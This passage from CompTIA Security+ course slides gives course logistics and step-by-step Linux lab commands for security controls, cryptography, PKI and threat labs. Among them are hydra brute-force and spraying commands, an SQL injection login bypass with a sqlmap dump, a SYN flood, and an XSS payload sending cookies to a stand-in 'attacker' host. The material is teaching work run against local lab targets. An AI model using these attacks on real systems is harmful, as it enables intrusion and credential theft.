SY0-701

COMPTIA SECURITY+

COURSE SLIDES · WSQ

CompTIA Security+ Certification (SY0-701)

WSQ Course Code: TGS-2023039181

Conducted by Tertiary Infotech Academy Pte Ltd · UEN 201200696W

Version v1.0 · 2 July 2026 · Trainer: Dr. Alfred Ang

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COURSE ADMINISTRATION

Welcome & Housekeeping

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Digital Attendance (Mandatory)

- It is mandatory to take the AM, PM and Assessment digital attendance for WSQ-funded courses.
- The trainer/administrator displays the digital attendance QR code from the SSG portal.
- Scan the QR code with your mobile phone camera and submit your attendance.
- A minimum of 75% attendance is required to be eligible for assessment and funding.

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About the Trainer



Your Trainer

General Trainer template —
to be completed by the trainer

NAME

TITLE / DESIGNATION

QUALIFICATIONS

AREAS OF EXPERTISE

TRAINING & INDUSTRY EXPERIENCE

CONTACT

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YOUR TRAINER

About the Trainer



Dr. Alfred Ang

Principal Trainer
Tertiary Infotech Academy Pte. Ltd.

ROLE
Principal Trainer, Tertiary Infotech Academy Pte. Ltd.

CERTIFICATION
CompTIA Security+ / cybersecurity — defensive & offensive security.

DELIVERS
WSQ courses on cybersecurity, cloud, networking & software engineering.

FOUNDER
Founder and lead instructor at Tertiary Infotech / Tertiary Courses.

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ICE-BREAKER

Let's Know Each Other

- Your name and organisation / role.
- Your experience with IT security, networking or Linux (if any).
- What you want to be able to do — or which exam domain you want to master — after this course.

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HOUSEKEEPING

Ground Rules

1. Set your mobile phone to silent mode.
2. Participate actively — no question is too small.
3. Mutual respect: agree to disagree.
4. One conversation at a time.
5. Be punctual; return from breaks on time.
6. 75% attendance is required.

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COURSE PORTAL

LMS / TMS

- Access your course materials, attendance and assessment on the LMS/TMS portal.
- Portal: https://lms-tms.tertiaryinfotech.com
- Download the slides and Learner Guide for reference during the open-book assessment.

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SCHEDULE

Lesson Plan — 3 Days, 8 hours/day

Days 1–2

- Day 1 — General Concepts & Threats
  - Domain 1: General Security Concepts (Labs 1–5)
  - Domain 2: Threats & Vulnerabilities (Labs 6–13)
- Day 2 — Architecture & Security Operations
  - Domain 3: Security Architecture (Labs 14–20)
  - Domain 4: Security Operations begins (Labs 21–26)

Day 3 & timing

- Day 3 — Operations, Program Management & Assessment
  - Domain 4: Security Operations (Labs 27–30)
  - Domain 5: Program Management (Labs 31–36)
  - Final Assessment (WA + PP)
- Daily timing
  - 9:30am–6:30pm · 1-hour lunch · tea breaks within

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WHAT YOU'LL ACHIEVE

Learning Outcomes

1

LO1 · General Concepts

Controls, CIA & AAA, hashing, encryption and PKI.

2

LO2 · Threats & Vulns

Phishing, password & web attacks, malware, scanning, hardening.

3

LO3 · Architecture

Segmentation, firewalls, WAF, VPN, encryption, TLS, backup.

4

LO4 · Operations

Hardening, MFA, SIEM, IDS, EDR, FIM, vuln mgmt, IR, SOAR.

5

LO5 · Program Mgmt

Risk & CVSS, recon, pentesting, compliance, awareness.

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Briefing for Assessment

- Place phones and other materials under the table or on the floor.
- No photos or recording of assessment scripts.
- No discussion during the assessment.
- Use a black/blue pen for hard-copy assessments.
- No liquid paper / correction tape.
- Scripts are collected when time is up.

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FINAL ASSESSMENT

Assessment

- Written Assessment (WA) — Short-Answer Questions (SAQ), 6 questions, 1 hour, open book.
- Practical Performance (PP) — 5 hands-on security tasks, 1 hour, open book.
- Format: Open Book — slides, Learner Guide and approved materials only.
- A minimum of 75% attendance is required to be eligible for assessment and funding.
- An appeal process is available if required.

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ON ASSESSMENT DAY

Assessment Flow

1. Take the Assessment digital attendance (TRAQOM · SSG QR on the LMS)
2. Sit WA (SAQ) — 6 questions, open book
3. Sit PP — 5 hands-on tasks, open book
4. Submit your answers on the LMS
5. Sign the Assessment Summary Record

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CORE CONCEPTS

Security Fundamentals for the SY0-701

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OVERVIEW

What is CompTIA Security+?

1

Vendor-neutral baseline

The industry standard entry certification for cybersecurity roles.

2

SY0-701 domains

Five domains from general concepts to program management.

3

Hands-on and policy

Tests both technical skills and risk / governance knowledge.

4

The security role

Assess posture, apply controls, monitor, respond and manage risk.

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BLUEPRINT

The Five Exam Domains (SY0-701)

Concepts & Threats

- 1. General Security Concepts — 12%
- 2. Threats, Vulns & Mitigations — 22%

Build & Operate

- 3. Security Architecture — 18%
- 4. Security Operations — 28%

Govern

- 5. Security Program Management & Oversight — 20%
- Passing score: 750 / 900

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WHY IT MATTERS

Defence in depth: layer controls so no single failure is fatal.

Confidentiality, integrity and availability are the goals — every control in this course serves one of them.

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FOUNDATIONS

The CIA Triad & AAA

1

Confidentiality

Only authorised parties can read the data — encryption, access control.

2

Integrity

Data is not altered undetected — hashing, digital signatures.

3

Availability

Systems and data are there when needed — redundancy, backup, DoS defence.

4

AAA

Authentication proves who you are, authorization what you may do, accounting logs it.

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YOUR WORKBENCH

Your Lab Workbench — Killercoda

- Every hands-on lab runs in a free, disposable Ubuntu VM in your browser.
- Open the playground: https://killercoda.com/playgrounds/scenario/ubuntu
- You have a root shell with internet access — install tools with apt or a single binary.
- Reset the playground between labs that change firewall, PAM or routing state.

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36 LABS · FREE IN YOUR BROWSER

Access the Hands-On Labs

All 36 labs live in the course GitHub repository:

https://github.com/tertiarycourses/TGS-2023039181-SecurityPlus

Option A — Clone

- Open a terminal / Killercoda
- git clone the repository
- cd into labs/ and follow along

```
$ git clone https://github.com/tertiarycourses/TGS-2023039181-SecurityPlus.git
```

Option B — Download ZIP

- On GitHub click the green Code button
- Choose Download ZIP
- Unzip and open the labs/ folder

Every lab runs free in the browser on the Killercoda Ubuntu Playground — no local install required.

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01

DOMAIN 01

General Security Concepts

Security controls · CIA & AAA · Hashing · Encryption · PKI

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EXAM WEIGHTING 12%

Key Concepts — General Security Concepts

1. Security controls are grouped by CATEGORY (technical, managerial, operational, physical) and by TYPE (preventive, deterrent, detective, corrective, compensating, directive).

2. The CIA triad — confidentiality, integrity, availability — is the goal; AAA (authentication, authorization, accounting) is how identities are governed.

3. Hashing proves integrity; salting defeats rainbow tables; digital signatures add authenticity and non-repudiation.

4. Symmetric encryption is fast for bulk data; asymmetric (public-key) solves key exchange; PKI and certificate authorities bind keys to identities.

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WHAT YOU'LL DO

Hands-On Labs — General Security Concepts

Labs 1–2

- Security Controls Categorization
- CIA Triad and AAA on Linux

Labs 3–4

- Hashing, Salting, and Digital Signatures
- Symmetric vs. Asymmetric Encryption

Labs 5–5

- PKI: Build Your Own Certificate Authority

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DOMAIN 01 · HANDS-ON

Security Controls Categorization

LAB 1

The learner maps real-world controls to categories and types, then implements a technical preventive control and a detective control on Linux.

You'll build

A control matrix plus a live iptables firewall block and auditd file-watch rule.

Tools: iptables, auditd, auditctl, ausearch

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Security Controls Categorization

STEP 1 OF 7

1

Map ten controls to a category and a type

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Security Controls Categorization

STEP 2 OF 7

2

Block inbound Telnet with a preventive iptables rule

```
$ iptables -A INPUT -p tcp --dport 23 -j DROP
```


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Security Controls Categorization

STEP 3 OF 7

3

List the firewall rules to confirm the block

```
$ iptables -L INPUT -n --line-numbers | head
```


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Security Controls Categorization

STEP 4 OF 7

4

Install auditd and watch /etc/passwd for changes

```
$ apt update && apt install -y auditd
```


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Security Controls Categorization

STEP 5 OF 7

5

Add the detective watch rule and list it

```
$ auditctl -w /etc/passwd -p wa -k passwd_changes
```


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Security Controls Categorization

STEP 6 OF 7

6

Trigger a change and confirm auditd detected it

```
$ echo "# test" >> /etc/passwd
```


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Security Controls Categorization

STEP 7 OF 7

7

Search the audit log for the recorded event

```
$ ausearch -k passwd_changes | tail
```


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LAB 1 · VERIFY

Security Controls Categorization

✅ Test it

The iptables rule appears in the INPUT chain and ausearch shows the logged /etc/passwd change.

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DOMAIN 01 · HANDS-ON

CIA Triad and AAA on Linux

LAB 2

The learner enforces confidentiality, integrity, and availability, then walks through authentication, authorization, and accounting using built-in Linux tools.

You'll build

A permission-protected secret file, a checksum integrity check, and a scoped sudo rule with an audit trail.

Tools: chmod, sha256sum, systemctl, ss, passwd, sudo, su

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CIA Triad and AAA on Linux

STEP 1 OF 8

1

Protect a secret file so only its owner can read it

```
$ chmod 600 /home/alice/secret.txt
```


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CIA Triad and AAA on Linux

STEP 2 OF 8

2

Confirm another user is denied access

```
$ sudo -u bob cat /home/alice/secret.txt 2>&1 || echo DENIED
```


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CIA Triad and AAA on Linux

STEP 3 OF 8

3

Baseline the file hash then detect tampering

```
$ sha256sum -c /tmp/secret.sha256 || echo "Integrity FAILED"
```


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CIA Triad and AAA on Linux

STEP 4 OF 8

4

Restart sshd and confirm it is listening

```
$ systemctl restart ssh
```


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CIA Triad and AAA on Linux

STEP 5 OF 8

5

Set alice's password to authenticate her

```
$ passwd alice <<EOF
Lab1234!
Lab1234!
EOF
```


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CIA Triad and AAA on Linux

STEP 6 OF 8

6

Grant alice one scoped sudo command

```
$ echo "alice ALL=(ALL) NOPASSWD: /usr/bin/cat /var/log/auth.log" >> /etc/sudoers
```


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CIA Triad and AAA on Linux

STEP 7 OF 8

7

Verify authorization is limited then read the log

```
$ su - alice -c 'sudo cat /etc/shadow' 2>&1 | tail -1
```


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CIA Triad and AAA on Linux

STEP 8 OF 8

8

Inspect the accounting trail of sudo/su actions

```
$ tail -20 /var/log/auth.log
```


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LAB 2 · VERIFY

CIA Triad and AAA on Linux

✅ Test it

Bob is denied the secret, the tampered checksum fails, alice can run only her one sudo command, and auth.log records every action.

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DOMAIN 01 · HANDS-ON

Hashing, Salting, and Digital Signatures

LAB 3

The learner produces deterministic hashes, adds salt, applies key stretching, and creates and verifies an RSA digital signature.

You'll build

Salted hashes, a stretched password hash, and a verified RSA signature over a document.

Tools: sha256sum, openssl rand, openssl passwd, openssl genrsa, openssl dgst

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Hashing, Salting, and Digital Signatures

STEP 1 OF 8

1

Hash a password twice to show determinism

```
$ echo -n 'Pa$$w0rd' | sha256sum
```


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Hashing, Salting, and Digital Signatures

STEP 2 OF 8

2

Generate a random salt and hash the salted value

```
$ SALT=$(openssl rand -hex 8)
```


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Hashing, Salting, and Digital Signatures

STEP 3 OF 8

3

Produce a key-stretched SHA-512 crypt hash

```
$ openssl passwd -6 -salt $(openssl rand -hex 4) 'Pa$$w0rd'
```


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Hashing, Salting, and Digital Signatures

STEP 4 OF 8

4

Generate an RSA key pair

```
$ openssl genrsa -out priv.pem 2048
```


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Hashing, Salting, and Digital Signatures

STEP 5 OF 8

5

Export the matching public key

```
$ openssl rsa -in priv.pem -pubout -out pub.pem
```


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Hashing, Salting, and Digital Signatures

STEP 6 OF 8

6

Sign a document with the private key

```
$ openssl dgst -sha256 -sign priv.pem -out order.sig order.txt
```


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Hashing, Salting, and Digital Signatures

STEP 7 OF 8

7

Verify the signature with the public key

```
$ openssl dgst -sha256 -verify pub.pem -signature order.sig order.txt
```


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Hashing, Salting, and Digital Signatures

STEP 8 OF 8

8

Tamper the file and confirm verification fails

```
$ echo " - extra line" >> order.txt
```


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LAB 3 · VERIFY

Hashing, Salting, and Digital Signatures

✅ Test it

The signature returns Verified OK on the original file and Verification Failure after tampering.

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DOMAIN 01 · HANDS-ON

Symmetric vs. Asymmetric Encryption

LAB 4

The learner encrypts a file with AES-256, then with GPG public-key crypto, and inspects the hybrid packet structure.

You'll build

An AES-encrypted file, a GPG key pair with a public/private encrypt-decrypt round trip, and a decoded hybrid packet dump.

Tools: openssl enc, gnupg, gpg, xxd

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Symmetric vs. Asymmetric Encryption

STEP 1 OF 8

1

Install GnuPG

```
$ apt update && apt install -y gnupg
```


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Symmetric vs. Asymmetric Encryption

STEP 2 OF 8

2

Encrypt a message symmetrically with AES-256

```
$ openssl enc -aes-256-cbc -pbkdf2 -salt -in msg.txt -out msg.aes -pass pass:Lab1234!
```


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Symmetric vs. Asymmetric Encryption

STEP 3 OF 8

3

Decrypt it with the same passphrase

```
$ openssl enc -d -aes-256-cbc -pbkdf2 -in msg.aes -pass pass:Lab1234!
```


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Symmetric vs. Asymmetric Encryption

STEP 4 OF 8

4

Generate a GPG asymmetric key pair

```
$ gpg --batch --pinentry-mode loopback --passphrase '' --quick-generate-key 'Alice <alice@lab.local>' rsa2048 default 1y
```


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Symmetric vs. Asymmetric Encryption

STEP 5 OF 8

5

Export Alice's shareable public key

```
$ gpg --armor --export alice@lab.local > alice.pub
```


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Symmetric vs. Asymmetric Encryption

STEP 6 OF 8

6

Encrypt to Alice's public key

```
$ gpg --yes --trust-model always -r alice@lab.local -e -o msg.gpg msg.txt
```


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Symmetric vs. Asymmetric Encryption

STEP 7 OF 8

7

Decrypt with Alice's private key

```
$ gpg --pinentry-mode loopback --passphrase '' -d msg.gpg
```


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Symmetric vs. Asymmetric Encryption

STEP 8 OF 8

8

Inspect the hybrid packet structure

```
$ gpg --list-packets msg.gpg | head -20
```


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LAB 4 · VERIFY

Symmetric vs. Asymmetric Encryption

✅ Test it

AES decryption returns the plaintext and the GPG packet dump shows a pubkey-enc packet wrapping an AES-encrypted data packet.

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DOMAIN 01 · HANDS-ON

PKI: Build Your Own Certificate Authority

LAB 5

The learner stands up a private root CA, signs a server CSR, revokes the certificate, and publishes a CRL.

You'll build

A self-signed root CA, a CA-signed server certificate, and a CRL listing the revoked cert.

Tools: openssl genrsa, openssl req, openssl ca, openssl x509, openssl crl

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PKI: Build Your Own Certificate Authority

STEP 1 OF 8

1

Create the CA directory layout and files

```
$ mkdir -p ~/ca/{certs,private,newcerts,crl}
```


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PKI: Build Your Own Certificate Authority

STEP 2 OF 8

2

Generate the root key and self-signed root cert

```
$ openssl req -x509 -new -key private/ca.key -days 3650 -sha256 -subj "/CN=Lab Root CA/O=Tertiary InfoTech" -out certs/ca.crt
```


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PKI: Build Your Own Certificate Authority

STEP 3 OF 8

3

Generate a server key and a CSR

```
$ openssl req -new -key private/server.key -subj "/CN=web.lab.local/O=Lab" -out server.csr
```


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PKI: Build Your Own Certificate Authority

STEP 4 OF 8

4

Write the CA config and sign the CSR

```
$ openssl ca -batch -config openssl.cnf -in server.csr -out certs/server.crt
```


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PKI: Build Your Own Certificate Authority

STEP 5 OF 8

5

Verify the issued cert's issuer and subject

```
$ openssl x509 -in certs/server.crt -noout -issuer -subject
```


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PKI: Build Your Own Certificate Authority

STEP 6 OF 8

6

Revoke the server certificate

```
$ openssl ca -config openssl.cnf -revoke certs/server.crt
```


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PKI: Build Your Own Certificate Authority

STEP 7 OF 8

7

Generate and inspect the CRL

```
$ openssl ca -config openssl.cnf -gencrl -out crl/lab.crl
```


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PKI: Build Your Own Certificate Authority

STEP 8 OF 8

8

Browse the system's trusted third-party root store

```
$ ls /etc/ssl/certs | head
```


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LAB 5 · VERIFY

PKI: Build Your Own Certificate Authority

✅ Test it

The server cert shows issuer Lab Root CA, and the generated CRL lists server.crt as revoked.

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DOMAIN RECAP

Recap — General Security Concepts

- You can now: Categorize and implement security controls
- You can now: Demonstrate CIA and AAA with Linux tools
- You can now: Hash, salt, and sign data with OpenSSL
- You can now: Compare AES, GPG, and hybrid encryption
- You can now: Run a CA lifecycle from CSR to CRL

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02

DOMAIN 02

Threats, Vulnerabilities & Mitigations

Phishing · Passwords · Malware · Web attacks · Scanning · Hardening

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EXAM WEIGHTING 22%

Key Concepts — Threats, Vulnerabilities & Mitigations

1. Social engineering and phishing exploit people; SPF, DKIM and DMARC authenticate mail and expose spoofing.

2. Password attacks (spraying, brute force, offline cracking) are countered by length, hashing with salt, and lockout.

3. Web application flaws — SQL injection and cross-site scripting (XSS) — come from unvalidated input; mitigate with parameterisation and output encoding.

4. Find weaknesses before attackers do: vulnerability scanning, malware analysis and a hardening baseline reduce the attack surface.

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WHAT YOU'LL DO

Hands-On Labs — Threats, Vulnerabilities & Mitigations

Labs 6–8

- Phishing Email Header Analysis (SPF / DKIM / DMARC)
- Password Attacks: Spraying, Brute Force, Cracking
- Malware Static Analysis (Safe Sample)

Labs 9–11

- SQL Injection (SQLi)
- Cross-Site Scripting (XSS)
- DoS Simulation and Detection

Labs 12–13

- Vulnerability Scanning with Nikto and Nuclei
- Linux Hardening Baseline with Lynis

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DOMAIN 02 · HANDS-ON

Phishing Email Header Analysis (SPF / DKIM / DMARC)

LAB 6

The learner dissects a spoofed email header and queries SPF, DKIM, and DMARC DNS records to prove the message did not come from the claimed sender.

You'll build

A header-analysis workflow that exposes SPF/DKIM/DMARC spoofing.

Tools: dnsutils, dig, swaks

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Phishing Email Header Analysis (SPF / DKIM / DMARC)

STEP 1 OF 6

1

Install DNS lookup and mail tools

```
$ apt update && apt install -y dnsutils swaks
```


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Phishing Email Header Analysis (SPF / DKIM / DMARC)

STEP 2 OF 6

2

Save a known-bad phishing header to mail.eml

```
$ cat > mail.eml <<'EOF'
...
EOF
```


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Phishing Email Header Analysis (SPF / DKIM / DMARC)

STEP 3 OF 6

3

Read the SPF record for the claimed sender

```
$ dig +short TXT paypal.com | grep spf
```


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Phishing Email Header Analysis (SPF / DKIM / DMARC)

STEP 4 OF 6

4

Pull the DMARC policy record

```
$ dig +short TXT _dmarc.paypal.com
```


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Phishing Email Header Analysis (SPF / DKIM / DMARC)

STEP 5 OF 6

5

Pull the DKIM selector public key

```
$ dig +short TXT s1024._domainkey.paypal.com
```


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Phishing Email Header Analysis (SPF / DKIM / DMARC)

STEP 6 OF 6

6

Generate a test message with swaks

```
$ swaks --to test@example.com --from spoof@paypal.com --server localhost --suppress-data --quit-after RCPT 2>&1 | head
```


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LAB 6 · VERIFY

Phishing Email Header Analysis (SPF / DKIM / DMARC)

✅ Test it

The learner confirms spf=fail, dkim=none, dmarc=fail in the header and that the sending IP is absent from the real SPF record.

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DOMAIN 02 · HANDS-ON

Password Attacks: Spraying, Brute Force, Cracking

LAB 7

The learner brute-forces a local SSH account with hydra, cracks the /etc/shadow hash with John the Ripper, and demonstrates password spraying.

You'll build

A hands-on attack chain covering brute force, offline cracking, and spraying with their log signatures.

Tools: hydra, john, openssh-server

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Password Attacks: Spraying, Brute Force, Cracking

STEP 1 OF 7

1

Install the attack tools and SSH server

```
$ apt update && apt install -y hydra john openssh-server
```


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Password Attacks: Spraying, Brute Force, Cracking

STEP 2 OF 7

2

Create a target user with a weak password

```
$ echo 'victim:password123' | chpasswd
```


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Password Attacks: Spraying, Brute Force, Cracking

STEP 3 OF 7

3

Build a small wordlist

```
$ cat > words.txt <<'EOF'
...
EOF
```


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Password Attacks: Spraying, Brute Force, Cracking

STEP 4 OF 7

4

Brute force SSH with hydra

```
$ hydra -l victim -P words.txt -t 4 -f ssh://127.0.0.1
```


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Password Attacks: Spraying, Brute Force, Cracking

STEP 5 OF 7

5

Detect the attack in the auth log

```
$ grep "Failed password" /var/log/auth.log 2>/dev/null | tail || journalctl -u ssh --no-pager | grep "Failed password" | tail
```


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Password Attacks: Spraying, Brute Force, Cracking

STEP 6 OF 7

6

Crack the /etc/shadow hash with John

```
$ john --wordlist=words.txt target.hash
```


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Password Attacks: Spraying, Brute Force, Cracking

STEP 7 OF 7

7

Demonstrate password spraying across users

```
$ for u in alice bob carol dave eve; do hydra -l "$u" -p "Winter2025!" -t 1 -f ssh://127.0.0.1; done
```


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LAB 7 · VERIFY

Password Attacks: Spraying, Brute Force, Cracking

✅ Test it

The learner verifies hydra reports 'password123' as valid and John's --show reveals the cracked hash.

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DOMAIN 02 · HANDS-ON

Malware Static Analysis (Safe Sample)

LAB 8

The learner analyzes the harmless EICAR test file with file, strings, hashing, and a custom YARA rule the way a SOC analyst triages real malware.

You'll build

A static-analysis workflow producing an IoC hash and a reusable YARA detection.

Tools: file, binutils, coreutils, yara

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Malware Static Analysis (Safe Sample)

STEP 1 OF 7

1

Install YARA

```
$ apt update && apt install -y yara
```


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Malware Static Analysis (Safe Sample)

STEP 2 OF 7

2

Create the safe EICAR test sample

```
$ echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > sample.bin
```


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Malware Static Analysis (Safe Sample)

STEP 3 OF 7

3

Identify the file type

```
$ file sample.bin
```


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Malware Static Analysis (Safe Sample)

STEP 4 OF 7

4

Compute the SHA-256 IoC hash

```
$ sha256sum sample.bin
```


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Malware Static Analysis (Safe Sample)

STEP 5 OF 7

5

Pull printable strings

```
$ strings sample.bin
```


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Malware Static Analysis (Safe Sample)

STEP 6 OF 7

6

Write a YARA rule and scan the sample

```
$ yara eicar.yar sample.bin
```


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Malware Static Analysis (Safe Sample)

STEP 7 OF 7

7

Look up the known hash on threat feeds

```
$ yara -r eicar.yar /tmp
```


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LAB 8 · VERIFY

Malware Static Analysis (Safe Sample)

✅ Test it

The learner confirms the YARA rule matches sample.bin and that the SHA-256 is recognized across VirusTotal engines.

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DOMAIN 02 · HANDS-ON

SQL Injection (SQLi)

LAB 9

The learner builds a deliberately vulnerable PHP/SQLite login, bypasses auth with manual and automated SQLi, then fixes it with parameterised queries.

You'll build

A vulnerable login app plus its prepared-statement patch.

Tools: sqlite3, php-cli, php-sqlite3, sqlmap, curl

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SQL Injection (SQLi)

STEP 1 OF 7

1

Install the SQLite/PHP/sqlmap stack

```
$ apt update && apt install -y sqlite3 php-cli php-sqlite3 sqlmap
```


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SQL Injection (SQLi)

STEP 2 OF 7

2

Build a vulnerable login page and DB

```
$ php -S 127.0.0.1:8080 -t . &
```


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SQL Injection (SQLi)

STEP 3 OF 7

3

Confirm normal login behaviour

```
$ curl -s "http://127.0.0.1:8080/login.php?u=admin&p=s3cret"
```


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SQL Injection (SQLi)

STEP 4 OF 7

4

Bypass auth with a manual injection

```
$ curl -s "http://127.0.0.1:8080/login.php?u=admin'--&p=anything"
```


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SQL Injection (SQLi)

STEP 5 OF 7

5

Automate exploitation with sqlmap

```
$ sqlmap -u "http://127.0.0.1:8080/login.php?u=admin&p=x" --batch --dump -T users
```


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SQL Injection (SQLi)

STEP 6 OF 7

6

Patch with a parameterised query

```
$ cat > login.php <<'EOF'
...
EOF
```


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SQL Injection (SQLi)

STEP 7 OF 7

7

Verify the injection now fails

```
$ curl -s "http://127.0.0.1:8080/login.php?u=admin'--&p=x"
```


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LAB 9 · VERIFY

SQL Injection (SQLi)

✅ Test it

The learner verifies the injected payload logs in before the patch and returns nothing after switching to bind parameters.

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DOMAIN 02 · HANDS-ON

Cross-Site Scripting (XSS)

LAB 10

The learner triggers reflected and stored XSS in tiny PHP pages, then defends with htmlspecialchars output encoding and a Content-Security-Policy header.

You'll build

Vulnerable search/guestbook pages plus their encoding and CSP mitigations.

Tools: php-cli, curl

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Cross-Site Scripting (XSS)

STEP 1 OF 7

1

Install PHP and set up the workspace

```
$ apt update && apt install -y php-cli
```


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Cross-Site Scripting (XSS)

STEP 2 OF 7

2

Create a vulnerable reflected-XSS page

```
$ php -S 127.0.0.1:8080 -t . &
```


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Cross-Site Scripting (XSS)

STEP 3 OF 7

3

Trigger the reflected XSS payload

```
$ curl -s "http://127.0.0.1:8080/search.php?q=<script>alert(1)</script>"
```


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Cross-Site Scripting (XSS)

STEP 4 OF 7

4

Store an XSS payload in a guestbook

```
$ curl -s "http://127.0.0.1:8080/guestbook.php?msg=<script>document.location='http://attacker/?c='+document.cookie</script>"
```


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Cross-Site Scripting (XSS)

STEP 5 OF 7

5

Mitigate with output encoding

```
$ echo 'htmlspecialchars($q, ENT_QUOTES, "UTF-8")'
```


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Cross-Site Scripting (XSS)

STEP 6 OF 7

6

Add a strict Content-Security-Policy header

```
$ php -S 127.0.0.1:8080 router.php &
```


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Cross-Site Scripting (XSS)

STEP 7 OF 7

7

Confirm the CSP header is served

```
$ curl -sD - "http://127.0.0.1:8080/search.php?q=hi" | head
```


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LAB 10 · VERIFY

Cross-Site Scripting (XSS)

✅ Test it

The learner confirms the script reflects verbatim before the fix and appears as escaped <script> text with a CSP header after.

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DOMAIN 02 · HANDS-ON

DoS Simulation and Detection

LAB 11

The learner floods their own loopback with hping3, watches the connection table fill with half-open sockets, then mitigates using SYN cookies and iptables rate-limiting.

You'll build

A SYN-flood detection-and-mitigation exercise on a local nginx target.

Tools: hping3, nginx, iptables

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DoS Simulation and Detection

STEP 1 OF 7

1

Install attacker and target

```
$ apt update && apt install -y hping3 nginx
```


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DoS Simulation and Detection

STEP 2 OF 7

2

Baseline the open connections

```
$ ss -s
```


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DoS Simulation and Detection

STEP 3 OF 7

3

Launch a loopback-only SYN flood

```
$ timeout 10 hping3 -S -p 80 --flood --rand-source 127.0.0.1 &
```


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DoS Simulation and Detection

STEP 4 OF 7

4

Log incoming SYNs with iptables

```
$ iptables -A INPUT -p tcp --syn --dport 80 -j LOG --log-prefix "SYN: " --log-level 4
```


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DoS Simulation and Detection

STEP 5 OF 7

5

Enable SYN cookies and rate-limit

```
$ sysctl -w net.ipv4.tcp_syncookies=1
```


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DoS Simulation and Detection

STEP 6 OF 7

6

Insert the rate-limit accept rule

```
$ iptables -I INPUT -p tcp --syn --dport 80 -m limit --limit 25/s --limit-burst 50 -j ACCEPT
```


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DoS Simulation and Detection

STEP 7 OF 7

7

Re-run the flood and compare

```
$ timeout 10 hping3 -S -p 80 --flood --rand-source 127.0.0.1
```


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LAB 11 · VERIFY

DoS Simulation and Detection

✅ Test it

The learner verifies the SYN-RECV count spikes during the flood and stays bounded after enabling SYN cookies plus rate-limiting.

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DOMAIN 02 · HANDS-ON

Vulnerability Scanning with Nikto and Nuclei

LAB 12

The learner scans a local Apache server with Nikto and Nuclei, ranks findings by CVSS, applies hardening headers, and re-scans to confirm the fixes.

You'll build

A prioritised, CVSS-ranked remediation queue with verified header fixes.

Tools: nikto, apache2, nuclei

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Vulnerability Scanning with Nikto and Nuclei

STEP 1 OF 6

1

Install the scanner and target server

```
$ apt update && apt install -y nikto apache2 wget
```


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Vulnerability Scanning with Nikto and Nuclei

STEP 2 OF 6

2

Run Nikto against the local server

```
$ nikto -h http://127.0.0.1 -o nikto.txt
```


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Vulnerability Scanning with Nikto and Nuclei

STEP 3 OF 6

3

Download and set up nuclei

```
$ wget -q https://github.com/projectdiscovery/nuclei/releases/download/v3.10.0/nuclei_3.10.0_linux_amd64.zip
```


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Vulnerability Scanning with Nikto and Nuclei

STEP 4 OF 6

4

Scan with a severity filter

```
$ ./nuclei -u http://127.0.0.1 -s low,medium,high,critical -o nuclei.txt
```


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Vulnerability Scanning with Nikto and Nuclei

STEP 5 OF 6

5

Apply hardening headers to Apache

```
$ a2enmod headers && a2enconf hardening && systemctl reload apache2
```


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Vulnerability Scanning with Nikto and Nuclei

STEP 6 OF 6

6

Re-run Nikto to confirm the fixes

```
$ nikto -h http://127.0.0.1 | grep -E "X-Frame|HSTS|banner"
```


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LAB 12 · VERIFY

Vulnerability Scanning with Nikto and Nuclei

✅ Test it

The learner verifies the missing-header findings disappear from the Nikto output after applying the hardening config.

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DOMAIN 02 · HANDS-ON

Linux Hardening Baseline with Lynis

LAB 13

The learner audits an Ubuntu host with Lynis, applies SSH, sysctl, permission, and auto-update hardening, then re-audits to measure the improved hardening index.

You'll build

A before/after hardening score with CIS-aligned baseline fixes applied.

Tools: lynis, unattended-upgrades

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Linux Hardening Baseline with Lynis

STEP 1 OF 7

1

Install Lynis and unattended-upgrades

```
$ apt update && apt install -y lynis unattended-upgrades
```


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Linux Hardening Baseline with Lynis

STEP 2 OF 7

2

Run the initial audit and note the score

```
$ lynis audit system --quick 2>/dev/null | tee lynis-before.txt
```


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Linux Hardening Baseline with Lynis

STEP 3 OF 7

3

Disable unused services and set permissions

```
$ systemctl disable --now avahi-daemon 2>/dev/null
```


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Linux Hardening Baseline with Lynis

STEP 4 OF 7

4

Enable automatic security updates

```
$ dpkg-reconfigure -f noninteractive unattended-upgrades
```


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Linux Hardening Baseline with Lynis

STEP 5 OF 7

5

Harden SSH configuration

```
$ sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
```


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Linux Hardening Baseline with Lynis

STEP 6 OF 7

6

Apply kernel sysctl hardening

```
$ sysctl --system >/dev/null
```


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Linux Hardening Baseline with Lynis

STEP 7 OF 7

7

Re-audit and compare the hardening index

```
$ grep "Hardening index" lynis-before.txt lynis-after.txt
```


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LAB 13 · VERIFY

Linux Hardening Baseline with Lynis

✅ Test it

The learner confirms the Lynis hardening index climbs 10-15 points between the before and after audits.

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DOMAIN RECAP

Recap — Threats, Vulnerabilities & Mitigations

- You can now: Analyze phishing email headers and validate anti-spoofing DNS records
- You can now: Perform controlled brute force, cracking, and spraying against systems you own
- You can now: Profile a benign test binary using core static-analysis primitives
- You can now: Exploit and then patch a vulnerable PHP login page
- You can now: Exploit reflected and stored XSS, then mitigate with encoding and CSP
- You can now: Generate a controlled SYN flood, detect it, and rate-limit it
- You can now: Scan a weak web server, prioritise findings by CVSS, and verify remediation
- You can now: Audit, apply CIS-aligned fixes, and re-score a Linux host

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03

DOMAIN 03

Security Architecture

Segmentation · Firewalls · WAF · VPN · Encryption at rest · TLS · Backup

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EXAM WEIGHTING 18%

Key Concepts — Security Architecture

1. Defence in depth layers controls; network segmentation and firewalls limit lateral movement and enforce least privilege between zones.

2. A web application firewall (WAF) filters HTTP attacks; a VPN protects data in transit across untrusted networks.

3. Protect data at rest with full-disk encryption (LUKS) and data in transit with hardened TLS ciphers and protocols.

4. Resilience is a security property: a tested 3-2-1 backup and recovery plan defeats ransomware and hardware failure.

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WHAT YOU'LL DO

Hands-On Labs — Security Architecture

Labs 14–16

- Network Segmentation with Linux Namespaces
- Stateful Firewall with UFW and nftables
- Web Application Firewall with ModSecurity

Labs 17–19

- Site-to-Site VPN with WireGuard
- Data at Rest: LUKS Full-Disk Encryption
- TLS Hardening and Cipher Audit

Labs 20–20

- Backup and Recovery with restic

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DOMAIN 03 · HANDS-ON

Network Segmentation with Linux Namespaces

LAB 14

Build DMZ, internal, and management zones as network namespaces and enforce a zone-to-zone policy with iptables.

You'll build

Three isolated L3 zones behind a host router

Tools: ip netns, iproute2, veth, iptables

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Network Segmentation with Linux Namespaces

